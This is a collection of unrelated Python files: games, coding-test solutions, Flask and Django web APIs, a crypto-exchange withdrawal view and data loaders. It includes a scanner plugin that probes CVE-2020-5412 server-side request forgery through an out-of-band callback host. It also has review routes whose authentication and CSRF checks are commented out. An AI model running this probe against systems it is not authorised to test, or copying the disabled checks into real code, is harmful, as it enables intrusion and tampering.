    brick = Brick(x,y,hits)
    bricks.append(brick)

def f_score(score) :
    """fonction permettant d'afficher le score"""
    fill("#FFFFFF") #couleur blanche
    textSize(25)
    text("score :",0,25)
    text(score,90,25)

def f_vie(vie) :
    """fonction permettant d'afficher le score"""
    fill("#FFFFFF") #couleur blanche
    textSize(25)
    text("vies :",700,25)
    text(ball.vie,775,25)

def draw():
    global playingGame, score
    background(0,0,0)
    #appel des méthodes pour le paddle
    paddle.display()
    f_score(score)
    f_vie(ball.vie)
    casser = True
    if ball.vie == 0 :  # permet de stopper le jeu quand les 3 vies sont utilisées
            playingGame = False
            fill("#FFFFFF") # couleur blanche
            textSize(30) # taille du texte
            text("Plus de vie, partie terminee",200,250) # message à afficher + sa position
            textSize(40)
            text("cliquez pour rejouer",200,300)
            if mousePressed :
                ball.vie = 3
                setup() # permet de recréer l'environnement (les briques + replacer le paddle)
                playingGame = True
    if ball.vie>0 and len(bricks)==0 :
        playingGame= False
        fill("#FFFFFF") #couleur blanche
        textSize(30)
        text("Bravo, tu as gagne !",250,200)
        textSize(30)
        text("cliquez pour rejouer dans un nouveau niveau",60,300)
        if mousePressed :
                ball.vie = 3
                new_game = True
                setup() # permet de recréer l'environnement (les briques + replacer le paddle)
                playingGame = True

    if playingGame:
        paddle.checkEdges()
        paddle.update()
    #appel des méthodes pour la balle

        ball.checkEdges()
        ball.update()
    ball.display()

    if (ball.meets_paddle(paddle)):
        if ball.dir.y > 0 :
            ball.dir.y *= -1
    for i in range(len(bricks)):
        bricks[i].display()

    #for i in range(len(bricks)-1,-1,-1):
    i=0
    while i < len(bricks) and i !=-1 :
        if ball.meets_brick(bricks[i]):
            score+=5
            bricks.pop(i) # détruit une brique i
            i=-2
        i+=1

def mousePressed():
    global playingGame
    playingGame = True

# détection des mouvements touches q et d
def keyPressed():
    if key == "q" or key == "Q":
        paddle.isMovingLeft = True
    elif key == "d" or key == "D":
        paddle.isMovingRight = True

#annulation des mouvements quand on relâche la touche
def keyReleased():
    paddle.isMovingRight = False
    paddle.isMovingLeft = False


from ast import literal_eval

from allura.command import base

from bson import ObjectId
from allura import model as M
from allura.lib import exceptions
from ming.odm import session

# Example usage:
# paster set-neighborhood-features development.ini
# 4f50c898610b270c92000286 max_projects 50

class SetNeighborhoodFeaturesCommand(base.Command):
    min_args = 4
    max_args = 4
    usage = "<ini file> <neighborhood> <feature> <value>"
    summary = "Change the neighborhood features\r\n" \
        "\t<neighborhood> - the neighborhood name or object id\r\n" \
        "\t<feature> - feature value to change options are max_projects, css, google_analytics, or private_projects\r\n" \
        "\t<value> - value to give the feature - see below for descriptions\r\n" \
        "\t    max_projects - maximum projects allowed in neighborhood - specify None for no limit\r\n" \
        "\t    css - type of css customization - use \"none\", \"picker\", or \"custom\".\r\n" \
        "\t    google_analytics - allow the user to use google analytics - True or False\r\n" \
        "\t    private_projects - allow private projects in the neighborhood - True or False"
    parser = base.Command.standard_parser(verbose=True)

    def command(self):
        self.basic_setup()
        n_id = self.args[1]
        n_feature = self.args[2]
        # try to get a bool or int val, otherwise treat it as a string
        try:
            n_value = literal_eval(self.args[3])
        except ValueError:
            n_value = self.args[3]
        if n_feature not in ["max_projects", "css", "google_analytics", "private_projects"]:
            raise exceptions.NoSuchNBFeatureError("%s is not a valid "
                                                  "neighborhood feature. The valid features are \"max_projects\", "
                                                  "\"css\", \"google_analytics\" and \"private_projects\"" % n_feature)

        n = M.Neighborhood.query.get(name=n_id)
        if not n:
            n = M.Neighborhood.query.get(_id=ObjectId(n_id))

        if not n:
            raise exceptions.NoSuchNeighborhoodError("The neighborhood %s "
                                                     "could not be found in the database" % n_id)
        else:
            if n_feature == "max_projects":
                if isinstance(n_value, int) or n_value is None:
                    n.features['max_projects'] = n_value
                else:
                    raise exceptions.InvalidNBFeatureValueError("max_projects must be "
                                                                "an int or None.")
            elif n_feature == "css":
                if n_value in ['none', 'custom', 'picker']:
                    n.features['css'] = n_value
                else:
                    raise exceptions.InvalidNBFeatureValueError("css must be "
                                                                "'none', 'custom', or 'picker'")
            elif n_feature == "google_analytics":
                if isinstance(n_value, bool):
                    n.features['google_analytics'] = n_value
                else:
                    raise exceptions.InvalidNBFeatureValueError("google_analytics must be "
                                                                "a boolean")
            else:
                if isinstance(n_value, bool):
                    n.features['private_projects'] = n_value
                else:
                    raise exceptions.InvalidNBFeatureValueError("private_projects must be "
                                                                "a boolean")
            session(M.Neighborhood).flush()


"""
105 Construct Binary Tree from Preorder and Inorder Traversal

Given preorder and inorder traversal of a tree, construct the binary tree.

Note:
You may assume that duplicates do not exist in the tree.
"""
# Definition for a binary tree node.
# class TreeNode:
#     def __init__(self, x):
#         self.val = x
#         self.left = None
#         self.right = None
from TreeNode import *
class Solution:
    #    recursive solution, first look for the index of the first element of preorder in inorder,
    #    then dynamically split the preorder and inorder list to left branch and right branch.
    def buildTree(self, preorder, inorder):
        """
        :type preorder: List[int]
        :type inorder: List[int]
        :rtype: TreeNode
        """
        if not preorder or not inorder:
            return None

        root = TreeNode(preorder[0])
        mid = inorder.index(preorder[0])

        root.left = self.buildTree(preorder[1 : mid + 1], inorder[ : mid])  # left branch, note the index range
        root.right = self.buildTree(preorder[mid + 1: ], inorder[mid + 1 : ]) # right branch, note the index range

        return root

    # iterative solution from https://discuss.leetcode.com/topic/10244/my-o-n-19ms-solution-without-recusion-hope-help-you/2
    def buildTree2(self, preorder, inorder):
        stack=[]
        if len(preorder)==0:
            return None
        root=TreeNode(preorder[0])
        stack.append(root)
        index=0
        for i in range(1,len(preorder)+1):
            cur=stack[-1]
            if(stack[-1].val!=inorder[index]):
                cur.left=TreeNode(preorder[i])
                stack.append(cur.left)
            else:
                while(len(stack)!=0 and stack[-1].val==inorder[index]):
                    cur=stack[-1]
                    stack.pop()
                    index+=1
                if(index<len(inorder)):
                    cur.right=TreeNode(preorder[i])
                    stack.append(cur.right)
        return root

obj = Solution()
preorder = [5, 3, 1, 8, 9, 2, 10, 11, 4, 6, 12, 13, 7, 14, 15]
inorder = [8, 1, 9, 3, 10, 2, 11, 5, 12, 6, 13, 4, 14, 7, 15]
res = obj.buildTree2(preorder, inorder)
PrintTree(res)


from flask import Blueprint, jsonify, session, request, render_template, redirect, url_for
from flask_login import current_user
from app.models import Review, db
from app.forms.review_form import ReviewForm

review_routes = Blueprint('reviews', __name__)

# #GET ALL REVIEWS
@review_routes.route('/', methods=['GET'])
def get_all_reviews():
    reviews = Review.query.all()
    for review in reviews:
        return {'reviews' : [review.to_dict() for review in reviews]}

@review_routes.route('/<int:id>', methods=['GET'])
def get_review(id):
    review = Review.query.get(id)
    return review.to_dict()

@review_routes.route('/current', methods=['GET'])
def get_current_user_reviews():
    if current_user.is_authenticated:
        userId = current_user.id
        reviews = Review.query.filter(Review.user_id == userId).all()
        return {'reviews': [review.to_dict() for review in reviews]}

# #POST A REVIEW
@review_routes.route('/<int:teeshirtId>/review/', methods=['POST'])
def create_a_review(teeshirtId):
    # if current_user.is_authenticated:
        form = ReviewForm()
        # form['csrf_token'].data = request.cookies['csrf_token']
        data = form.data
        review = Review(
            review = data['review'],
            teeshirt_id = teeshirtId,
            user_id = current_user.id
            )
        db.session.add(review)
        db.session.commit()
        return review.to_dict()

# Test post route
@review_routes.route('/<int:teeshirtId>/review', methods=['GET'])
def render_review_form(teeshirtId):
    form = ReviewForm()
    return render_template('review_form.html', form=form, teeshirtId=teeshirtId)

# #EDIT A REVIEW
@review_routes.route('/<int:id>/update/', methods=['POST'])
def edit_review(id):
    # if current_user.is_authenticated:
        form = ReviewForm()
        # form['csrf_token'].data = request.cookies['csrf_token']
        data = form.data
        review_to_update = Review.query.get(id)
        # if review_to_update.user_id == current_user.id:
        review_to_update.review = data['review']
        db.session.commit()
        return review_to_update.to_dict()

@review_routes.route('/<int:id>/update', methods=['GET'])
def render_update_form(id):
    form = ReviewForm()
    review_to_update = Review.query.get(id)
    form.review.data = review_to_update.review  # Pre-fill the form with existing data
    return render_template('update_review_form.html', form=form, id=id)

# #DELETE A REVIEW
@review_routes.route('/delete/<int:id>', methods=['DELETE'])
def delete_review(id):
    # if (current_user.is_authenticated):
        review_to_delete = Review.query.get(id)
        # if review_to_delete.user_id == current_user.id:
        db.session.delete(review_to_delete)
        db.session.commit()
        return {'review': 'your review has been deleted'}


# -*- coding: utf-8 -*-
# UTF-8 encoding when using korean
# 3차 3번

def solution(bishops):
	answer = 0

	dxy = [[1,1],[1,-1],[-1,1],[-1,-1]]

	field = [[0] * 8 for _ in range(8)]

	for bis in bishops:
		x = ord(bis[0])-65
		y = int(bis[1])-1
		field[x][y] = 1

		for dx, dy in dxy: # 4번 간다.
			nx , ny = x, y

			while True:
				nx += dx
				ny += dy
				if nx >=8 or nx < 0 or ny >=8 or ny <0:
					break
				if field[nx][ny] == 0:
					field[nx][ny] = 1

	for i in range(8):
		for j in range(8):
			if not field[i][j]:
				answer += 1
	return answer

bishops1 = ["D5"]
ret1 = solution(bishops1)

print("solution 함수의 반환 값은", ret1, "입니다.")

bishops2 = ["D5", "E8", "G2"]
ret2 = solution(bishops2)

print("solution 함수의 반환 값은", ret2, "입니다.")


"""
Data resource for data exploration
"""
from flask import request, g
from flask_restful import Resource
from sqlalchemy import or_, extract, func, text

import meerkat_abacus.util.epi_week
from meerkat_abacus.model import Data
import meerkat_abacus.util as abacus_util
from meerkat_api.authentication import authenticate, is_allowed_location
from meerkat_api.extensions import db, api
from meerkat_api.resources.variables import Variables
from meerkat_api.util import fix_dates

def get_variables(category):
    """
    Get variables with category

    Args:
        category: category of variables to get
    Returns:
        names(dict): {key: variable}
    """
    variables_instance = Variables()
    variables = variables_instance.get(category)
    names = dict((str(v), variables[v]["name"]) for v in variables.keys())
    return names

def get_locations_by_level(level, only_loc):
    """
    Returns all the locations with the given level. If only_loc is
    given we only include children of only_loc.If we ask for the clinic
    level we also require that the clinic sends case reports

    Args:
        level: clinic, district or region
        only_loc: location to restrict wich locations are included

    Returns:
        names: {id: name}
    """
    locations = abacus_util.get_locations(db.session)
    names = {}
    for l in locations.values():
        if (l.level == level
            and (not only_loc or abacus_util.is_child(only_loc, l.id, locations))
            and (level != "clinic" or l.case_report)
        ):
            names[l.id] = l.name
    return names

class QueryVariable(Resource):
    """
    Create a table where all records have the variable, and is broken down by
    group_by. Start and end data gives option to specifiy time period

        We first construct the conditions for our database query.
        Need to take special care if the
        variable or the group_by is given in terms of locations
        as they need to be handeld differently.
        We then do the db-query and then assemble the return dictionary

    Args:\n
        variable: the variable all records need to fulfill\n
        group_by: category to group by\n
        start_date: start date\n
        end_date: end_date\n
        only_loc: If given retricts the data to that location\n
        use_ids: If use_ids is true we use variable_ids and not the
                 name as keys for the return\n
        additional_variables: a list of variable string id's to
                 include in the filter conditions\n

    Returns:\n
        data: {variable_1: {total: X, weeks: {12:X,13:X}}....}\n
    """
    decorators = [authenticate]

    def get(self, variable, group_by, start_date=None,
            end_date=None, only_loc=None, use_ids=None, date_variable=None, additional_variables=None,
            group_by_variables=None):

        variable = str(variable)
        if not only_loc:
            if "only_loc" in request.args:
                only_loc = request.args["only_loc"]
            else:
                only_loc = g.allowed_location
        if not is_allowed_location(only_loc, g.allowed_location):
            return {}

        start_date, end_date = fix_dates(start_date, end_date)
        if "use_ids" in request.args.keys() or use_ids:
            use_ids = True
        else:
            use_ids = False

        if date_variable:
            date_conditions = [func.to_date(
                Data.variables[date_variable].astext, "YYYY-MM-DDTHH-MI-SS") >= start_date,
            func.to_date(
                Data.variables[date_variable].astext, "YYYY-MM-DDTHH-MI-SS") < end_date]
        else:
            date_conditions = [Data.date >= start_date, Data.date < end_date]

        if "location" in variable:
            location_id = variable.split(":")[1]
            conditions = date_conditions + [or_(loc == location_id for loc in (
                Data.country, Data.zone, Data.region, Data.district, Data.clinic))]
        else:
            conditions = [Data.variables.has_key(variable)] + date_conditions
            if additional_variables:
            # add additional variable filters if there are and
                for i in additional_variables:
                    conditions.append(Data.variables.has_key(i))

            if only_loc:
                conditions += [or_(loc == only_loc for loc in (
                    Data.country, Data.zone, Data.region, Data.district, Data.clinic))]
        epi_year_start = meerkat_abacus.util.epi_week.epi_year_start_date(start_date)
        # Determine which columns we want to extract from the Data table
        columns_to_extract = [func.count(Data.id).label('value')]
        if date_variable:
            columns_to_extract.append(func.floor(
                extract('days', func.to_date(Data.variables[date_variable].astext, "YYYY-MM-DDTHH-MI-SS") -
                epi_year_start) / 7 + 1
            ).label("week"))
        else:
            columns_to_extract.append(
                func.floor(
                    extract('days', Data.date -
                            epi_year_start) / 7 + 1
                ).label("week")
            )
        # We want to add the columns to extract based on the group_by value
        # in addition we create a names dict that translates ids to names

        if "locations" in group_by:
            # If we have locations in group_by we also specify the level at
            #  which we want to group the locations, clinic, district or region
            if ":" in group_by:
                level = group_by.split(":")[1]
            else:
                level = "clinic"

            locations = abacus_util.get_locations(db.session)
            ids = locations.keys()
            names = get_locations_by_level(level, only_loc)

            columns_to_extract += [getattr(Data, level, None)]
            group_by_query = level
        else:
            if not group_by_variables:
                names = get_variables(group_by)
            else:
                names = group_by_variables
            if len(names) == 0:
                return {}
            ids = names.keys()
            for i in ids:
                columns_to_extract.append(
                    Data.variables.has_key(str(i)).label("id" + str(i)))
            group_by_query = ",".join(["id" + str(i) for i in ids])
        if use_ids:
            names = {vid: vid for vid in names.keys()}
        start_epi_week = abacus_util.epi_week.epi_week_for_date(start_date)[1]
        end_epi_week = abacus_util.epi_week.epi_week_for_date(end_date)[1]

        # How we deal with start and end dates in different years
        if start_date.year != end_date.year:
            end_epi_week += 53 * (end_date.year - start_date.year)

        # DB Query
        results = db.session.query(
            *tuple(columns_to_extract)
        ).filter(*conditions).group_by(text("week," + group_by_query))
        # Assemble return dict
        ret = {}
        for n in names.values():
            ret[n] = {"total": 0,
                      "weeks": {i: 0 for i in range(start_epi_week, end_epi_week + 1)}}

        for r in results:
            # r = (number, week, other_columns_to_extract
            if "locations" in group_by:
                # r[2] = location
                if r[2]:
                    ret[names[r[2]]]["total"] += r[0]
                    ret[names[r[2]]]["weeks"][int(r[1])] = int(r[0])
            else:
                # r[2:] are the ids that the record has
                for i, i_d in enumerate(ids):
                    if r[i + 2]:
                        ret[names[i_d]]["total"] += r[0]
                        ret[names[i_d]]["weeks"][int(r[1])] = int(r[0])
        return ret

class QueryCategory(Resource):
    """
    Create a contingency table with category1 x category2.
    Start and end data gives option to specifiy time period.

    We first construct the conditions for our database query.
    Need to take special care if any of the categories are locations
    locations as they need to be handeld differently.
    We then do the db-query and then assemble the return dictionary

    Args:\n
        variable: the variable all records need to fulfill\n
        group_by: category to group by\n
        start_date: start date\n
        end_date: end_date\n
        only_loc: restrict data to only this location\n
    Returns:\n
        data: {variable_11: {variable_21: number, variable_22: number ...},
               variable_12: {....\n
    """
    decorators = [authenticate]

    def get(self, group_by1, group_by2, start_date=None,
            end_date=None, only_loc=None):

        if not only_loc:
            if "only_loc" in request.args:
                only_loc = request.args["only_loc"]
            else:
                only_loc = g.allowed_location
        if not is_allowed_location(only_loc, g.allowed_location):
            return {}
        start_date, end_date = fix_dates(start_date, end_date)
        use_ids = False
        if "use_ids" in request.args.keys():
            use_ids = True

        # Assemble conditions and columns to query
        conditions = []
        if only_loc:
            conditions += [or_(loc == only_loc for loc in (
                Data.country, Data.zone, Data.region, Data.district, Data.clinic))]

        columns_to_query = [Data.categories[group_by1].astext, Data.categories[group_by2].astext]
        if "locations" in group_by1:
            if ":" in group_by1:
                level = group_by1.split(":")[-1]
            else:
                level = "clinic"
            names1 = get_locations_by_level(level, only_loc)
            ids1 = list(names1.keys())
            columns_to_query += [getattr(Data, level)]
            names2 = get_variables(group_by2)
            ids2 = names2.keys()
            conditions += [or_(Data.variables.has_key(str(i)) for i in ids2)]

        elif "locations" in group_by2:
            if ":" in group_by2:
                level = group_by2.split(":")[-1]
            else:
                level = "clinic"
            names2 = get_locations_by_level(level, only_loc)
            ids2 = list(names2.keys())
            columns_to_query += [getattr(Data, level)]
            names1 = get_variables(group_by1)
            ids1 = names1.keys()
            conditions += [or_(Data.variables.has_key(str(i)) for i in ids1)]

        else:
            names1 = get_variables(group_by1)
            ids1 = names1.keys()
            conditions += [or_(Data.variables.has_key(str(i)) for i in ids1)]
            names2 = get_variables(group_by2)
            ids2 = names2.keys()
            conditions += [or_(Data.variables.has_key(str(i)) for i in ids2)]

        if use_ids:
            names1 = {vid: vid for vid in names1.keys()}
            names2 = {vid: vid for vid in names2.keys()}
        conditions += [Data.date >= start_date, Data.date < end_date]

        # DB query
        conn = db.engine.connect()

        query = db.session.query(
            *tuple(columns_to_query)
        ).filter(*conditions)
        res = conn.execute(query.statement).fetchall()

        ret = {}
        # Assemble return dict
        # while True:
        #     chunk = res.fetchmany(500)
        #     if not chunk:
        #         break
        for row in res:
            i1 = row[0]
            i2 = row[1]
            if "locations" in group_by1:
                i1 = row[2]
            if "locations" in group_by2:
                i2 = row[2]
            if i1 and i2:
                ret.setdefault(names1[i1], {}).setdefault(
                    names2[i2], 0)
                ret[names1[i1]][names2[i2]] += 1
        # We also add rows and columns with zeros
        for n1 in names1.values():
            for n2 in names2.values():
                if n1 in ret:
                    if n2 not in ret[n1]:
                        ret[n1][n2] = 0
                else:
                    ret.setdefault(n1, {})
                    ret[n1][n2] = 0
        return ret

api.add_resource(QueryVariable,
                 "/query_variable/<variable>/<group_by>",
                 "/query_variable/<variable>/<group_by>"
                 "/<start_date>/<end_date>")
api.add_resource(QueryCategory,
                 "/query_category/<group_by1>/<group_by2>",
                 "/query_category/<group_by1>/<group_by2>/<only_loc>",
                 "/query_category/<group_by1>/<group_by2>"
                 "/<start_date>/<end_date>",
                 "/query_category/<group_by1>/<group_by2>"
                 "/<start_date>/<end_date>/<only_loc>")


"""Abstraction module for placemaster model."""
from flask import Flask
from flask_sqlalchemy import SQLAlchemy

from lib.loaders import load_models

# global DB object (imported by models & views & everything else)
db = SQLAlchemy()
# alias for db query function
query = db.session.query

# def init_db():
#     """Return SQLAlchemy instance with dynamic models."""
#     load_models()
#     return db

def init_db(app=None, db=None):
    """Initialize the global database object used by the app."""
    if isinstance(app, Flask) and isinstance(db, SQLAlchemy):
        load_models()
        db.init_app(app)
    else:
        raise ValueError('Cannot init DB without db and app objects.')


import random

while True:
	while True:
		try:
			num1 = int(input('Type your first whole number:\n'))
			break
		except ValueError:
			print('This is not a whole number')
			continue
	while True:
		try:
			num2 = int(input('Type your second whole number:\n'))
			break
		except ValueError:
			print('This is not a whole number')
			continue
	while True:
		try:
			num3 = int(input('Type your third whole number:\n'))
			break
		except ValueError:
			print('This is not a whole number')
			continue
	while True:
		try:
			num4 = int(input('Type your fourth whole number:\n'))
			break
		except ValueError:
			print('This is not a whole number')
			continue
	while True:
		try:
			num5 = int(input('Type your fifth whole number:\n'))
			break
		except ValueError:
			print('This is not a whole number')
			continue
	while True:
		try:
			num6 = int(input('Type your sixth whole number:\n'))
			break
		except ValueError:
			print('This is not a whole number')
			continue
	numbers = [num1, num2, num3, num4, num5, num6]
	while True:
		option = input('Pick an option from 1 to 5 to perform on your numbers:\n1. Subtraction\n2. Multiplication\n3. Pick a random number\n4. Show your number from highest to lowest\n5. Show your numbers from lowest to highest\n')
		if option in '12345':
			break
		else:
			print('Please select a number from 1 to 5')
			continue
	if (option == '1'):
		result1 = num1 - num2
		result2 = num2 - num3
		result3 = num3 - num4
		result4 = num4 - num5
		result5 = num5 - num6
		print(f'{result1}, {result2}, {result3}, {result4}, {result5}')
	elif (option == '2'):
		product = num1 * num2 * num3 * num4 * num5 * num6
		result = {'InputNumber1': num1, 'InputNumber2': num2, 'InputNumber3': num3, 'InputNumber4': num4, 'InputNumber5': num5, 'InputNumber6': num6, 'Multiplication': product }
		print(result)
	elif (option == '3'):
		result = random.choice(numbers)
		print(result)
	elif (option == '4'):
		numbers.sort(reverse=True)
		print(numbers)
	elif (option == '5'):
		numbers.sort()
		print(numbers)
	continue


from e2.r15 import Vector_r15

class Vector_c25(Vector_r15):

    def __mul__(self, other):
        if isinstance(other, (int, float)):
            l_result = Vector_c25(len(self))
            for i in range(len(self)):
                l_result[i] = self[i] * other
            return l_result
        elif isinstance(other, (Vector_r15, Vector_c25)):
            if len(self) != len(other):
                raise ValueError("Dimenstions must match!")
            l_result = 0
            for i in range(len(self)):
                l_result += self[i] * other[i]
            return l_result
        else:
            raise TypeError("Unable to multiply - argument should be a number or Vector instance")


from rest_framework import status
from rest_framework.response import Response
from rest_framework.permissions import IsAuthenticated
from jwtauth.permissions import IsProfileCompleted, IsProfileCompleteOrReadOnly
from .serializer import (
    SubAccountBalanceSerializer,
    TransferHistorySerializer,
    WithdrawHistorySerializer,
    CoinSerializer,
)
from .models import SubAccountBalance, SubAccountDetails, WithdrawHistory, SubAccountDepositHistory
from rest_framework.views import APIView
from rest_framework.exceptions import APIException
from entropy.binance_api.generic import GenericAPI
from entropy.binance_api.master_account import MasterAccountAPI
import uuid
from .db_ops import DBOperations
from rest_framework.serializers import ValidationError
from itertools import chain
from django.shortcuts import get_object_or_404

class DepositAddress(APIView):
    permission_classes = [
        IsAuthenticated,
        IsProfileCompleteOrReadOnly,
    ]

    def post(self, request, *args, **kwargs):
        request_body_data = request.data
        logged_in_user = request.user.id
        # serializer for validating coin
        serializer = CoinSerializer(data=request.data)
        serializer.is_valid(raise_exception=True)
        try:
            # this method will check the sub-account exists or not.
            # if exists then return sub-account details else create new sub account
            sub_account_data = SubAccountDetails.get_or_create(user_id=logged_in_user)
            generic_api = GenericAPI(
                api_key=sub_account_data.sub_account_api_key,
                api_secret=sub_account_data.sub_account_secret,
            )
            # fetching coin address from binance.
            coin_address = generic_api.get_deposit_address(
                coin=request.data["coin"]
            )
            return Response(
                coin_address,
                status=status.HTTP_200_OK,
            )
        except Exception as e:
            raise ValidationError("Please try after some time!")

class SubAccountBalanceView(APIView):
    permission_classes = [
        IsAuthenticated,
        IsProfileCompleteOrReadOnly,
    ]

    def get(self, request, *args, **kwargs):
        db_ops = DBOperations()

        try:
            # updating DB with latest balance
            db_ops.fetch_assets_balance_and_store_in_db(
                logged_in_user=request.user.id
            )
        except Exception as e:
            # dynamic message from serializer and e.message
            raise APIException("message")

        assets_balances = SubAccountBalance.objects.filter(
            account_id=request.user.id)
        serializer = SubAccountBalanceSerializer(
            assets_balances, many=True)
        return Response({"assets": serializer.data}, status=status.HTTP_200_OK)

class WithdrawView(APIView):
    permission_classes = [
        IsAuthenticated,
        IsProfileCompleteOrReadOnly
    ]

    def post(self, request, *args, **kwargs):

        # serializer for validating coin
        serializer = CoinSerializer(data={"coin" : request.data["asset"]})
        serializer.is_valid(raise_exception=True)

        db_ops = DBOperations()

        # update balance
        db_ops.fetch_assets_balance_and_store_in_db(request.user.id)

        updated_balance = get_object_or_404(SubAccountBalance,account_id=request.user.id, asset=request.data["asset"])

        master_api_obj = MasterAccountAPI()
        sub_account_data = SubAccountDetails.get_or_create(user_id=request.user.id)

        if updated_balance.available >= float(request.data["amount"]):
            # generating random client transaction ID
            client_transaction_id = str(uuid.uuid4()).replace("-", "")

            try:
                # sub-to-master
                transfer_res = master_api_obj.transfer(
                    asset=request.data["asset"],
                    amount=request.data["amount"],
                    fromId=sub_account_data.sub_account_id,
                    clientTranId=client_transaction_id,
                )
            except Exception as e:
                raise APIException(e.message)

            updated_transfer_history = db_ops.update_transfer_history(
                client_transaction_td=transfer_res["clientTranId"]
            )

            if len(updated_transfer_history) == 1:
                updated_transfer_history[0]["fake_id"] = transfer_res["clientTranId"]

            # save the updated_transfer_history into table
            serializer = TransferHistorySerializer(
                data=updated_transfer_history, many=True
            )
            serializer.is_valid(raise_exception=True)
            serializer.save()

            try:
                # master to wallet
                # NOTE: use this address for testing with LTC
                withdraw_response_id =  master_api_obj.withdraw(
                coin=request.data["asset"], address="LXAnLnBbsN5hjkebcSMB6ZdP8rUgUo9QqT", amount=request.data["amount"]
                )

                latest_withdraw_entry = db_ops.get_latest_withdraw(
                    withdraw_response_id=withdraw_response_id)

                # once matched perform entry in DB_table with one extra column called sub_account_id
                current_sub_account = SubAccountDetails.objects.get(
                    account_id=request.user.id)
                latest_withdraw_entry["sub_account_id"] = current_sub_account.sub_account_id
                serializer = WithdrawHistorySerializer(data=latest_withdraw_entry)
                serializer.is_valid(raise_exception=True)

                serializer.save()

                return Response(
                    {"message": "Withdraw request submitted"}, status=status.HTTP_200_OK
                )
            except Exception as e:
                try:
                    # transfer coins back to sub account from master account
                    master_api_obj.transfer(
                        asset=request.data["asset"], amount=request.data["amount"], toId=sub_account_data.sub_account_id
                    )

                    return Response(
                        {"message": "Coins are transfered back to the sub account"}, status=status.HTTP_200_OK
                    )
                except Exception as e:
                    # TODO: need to handle this case where witdraw request for master to wallet fails and we are unable to transfer coins back to sub account
                    raise APIException("Withdraw request failed")
        else:
            raise ValidationError("Insufficient Balance")

class WalletHistoryView(APIView):
    permission_classes = [
        IsAuthenticated,
        IsProfileCompleteOrReadOnly,
    ]

    def get(self, request, *args, **kwargs):
        # get withdraw history
        withdraw_history = WithdrawHistory.objects.extra(
            select={"timestamp": "apply_time"}
        ).values("coin", "amount", "order_type", "timestamp", "status")

        # get deposit history
        deposit_history = SubAccountDepositHistory.objects.extra(
            select={"timestamp": "deposited_at"}
        ).values("coin", "amount", "order_type", "timestamp", "status")

        # combined/chained two querysets
        report = chain(withdraw_history, deposit_history)

        # sort data according to timestamp
        return Response(sorted(
            list(report), key=lambda x: x["timestamp"], reverse=True
        ))


# !/usr/bin/env python3
# @Time    : 2020/10/15
# @Author  : caicai
# @File    : poc_spring-cloud-netflix-hystrix-dashboard_CVE-2020-5412_2020.py

'''
搭建:
git clone https://github.com/mkheck/aou-hystrix-dashboard
mvn package
java -jar target.jar
curl -v localhost:8080
'''

from myscan.lib.helper.request import request  # 修改了requests.request请求的库，建议使用此库，会在redis计数
from myscan.config import scan_set
from myscan.lib.core.common_reverse import generate, query_reverse
from myscan.lib.core.common import get_random_str

class POC():
    def __init__(self, workdata):
        self.dictdata = workdata.get("dictdata")  # python的dict数据，详情请看docs/开发指南Example dict数据示例
        self.url = workdata.get("data")  # self.url为需要测试的url，值为目录url，会以/结尾,如https://www.baidu.com/home/ ,为目录
        self.result = []  # 此result保存dict数据，dict需包含name,url,level,detail字段，detail字段值必须为dict。如下self.result.append代码
        self.name = "CVE-2020-5412_2020"
        self.vulmsg = "detail:https://zhzhdoai.github.io/2020/09/01/CVE-2020-5412%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/,https://tanzu.vmware.com/security/cve-2020-5412"
        self.level = 2  # 0:Low  1:Medium 2:High

    def verify(self):
        # 根据config.py 配置的深度，限定一下目录深度
        if self.url.count("/") > int(scan_set.get("max_dir", 2)) + 2:
            return
        reverseurl, hexdata1 = generate(get_random_str(10).lower(), "http")
        _, hexdata2 = generate(get_random_str(10).lower(), "dns")
        for reverse in [reverseurl, "http://" + hexdata2]:
            req = {
                "url": self.url + "proxy.stream?origin={}".format(reverse),
                "method": "GET",
                "headers": {
                    "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/56.0.2924.87 Safari/537.36"},
                "verify": False,
                "timeout": 10,
            }
            r = request(**req)
        sleep = True
        for hexdata in [hexdata1, hexdata2]:
            res, resdata = query_reverse(hexdata, sleep)
            sleep = False
            if res:
                self.result.append({
                    "name": self.name,
                    "url": self.url,
                    "level": self.level,  # 0:Low  1:Medium 2:High
                    "detail": {
                        "vulmsg": self.vulmsg,
                        "path": "proxy.stream?origin={reverseurl}",
                        "others": "{} in reverse db".format(hexdata),
                    }
                })
                break


from werkzeug.exceptions import Conflict

from lonelyfoodie.api.services.service import Service
from lonelyfoodie.api.repositories.user_repository import UserRepository

class UserService(Service):
    def __init__(self):
        self.repository = UserRepository()
        super().__init__(self.repository)

    def create(self, data):
        nickname = data['properties']['nickname']
        kakao_id = str(data['id'])
        email = data['kakao_account']['email']

        duplicated_user = self.repository.find_by_kakao_id(kakao_id)

        if duplicated_user:
            return 200

        setup_data = {
            'kakao_id': kakao_id,
            'username': nickname,
            'email': email,
            'nickname': nickname,
            'dept_code': None,
            'student_year': None,
            'sex': None
        }
        super().create(setup_data)
        return 201


import os
import pandas as pd
import numpy as np
from env import get_connection

"""
This is how you get rid of the Unnamed: 0 column:

#read_csv(filename, index_col=0)
#to_csv(filename, index=False)
"""

def get_titanic_data():
    filename = "titanic.csv"

    if os.path.isfile(filename):
        return pd.read_csv(filename)
    else:
        # read the SQL query into a dataframe
        df = pd.read_sql('SELECT * FROM passengers', get_connection('titanic_db'))

        # Write that dataframe to disk for later. Called "caching" the data for later.
        df.to_csv(filename, index=False)

        # Return the dataframe to the calling code
        return df

def get_iris_data():
    """
    This function reads the iris data from Codeup db into a df.
    """
    filename = "iris.csv"

    if os.path.isfile(filename):
        return pd.read_csv(filename)
    else:
        query = """
        SELECT sepal_length, sepal_width, petal_length, petal_width, species_name, species_id FROM measurements
        LEFT JOIN species USING (species_id);
        """
        # read the SQL query into a dataframe
        df = pd.read_sql(query, get_connection('iris_db'))

        # Write that dataframe to disk for later. Called "caching" the data for later.
        df.to_csv(filename, index=False)

        # Return the dataframe to the calling code
        return df

def get_telco_data():
    """
    This function reads the telco_churn data from Codeup db into a df.
    """
    filename = "telco_churn.csv"

    if os.path.isfile(filename):
        return pd.read_csv(filename)
    else:
        # read the SQL query into a dataframe
        query = """
        SELECT * FROM customers
        LEFT JOIN contract_types USING (contract_type_id)
        LEFT JOIN internet_service_types USING (internet_service_type_id)
        LEFT JOIN payment_types USING (payment_type_id);
        """
        df = pd.read_sql(query, get_connection('telco_churn'))

        # Write that dataframe to disk for later. Called "caching" the data for later.
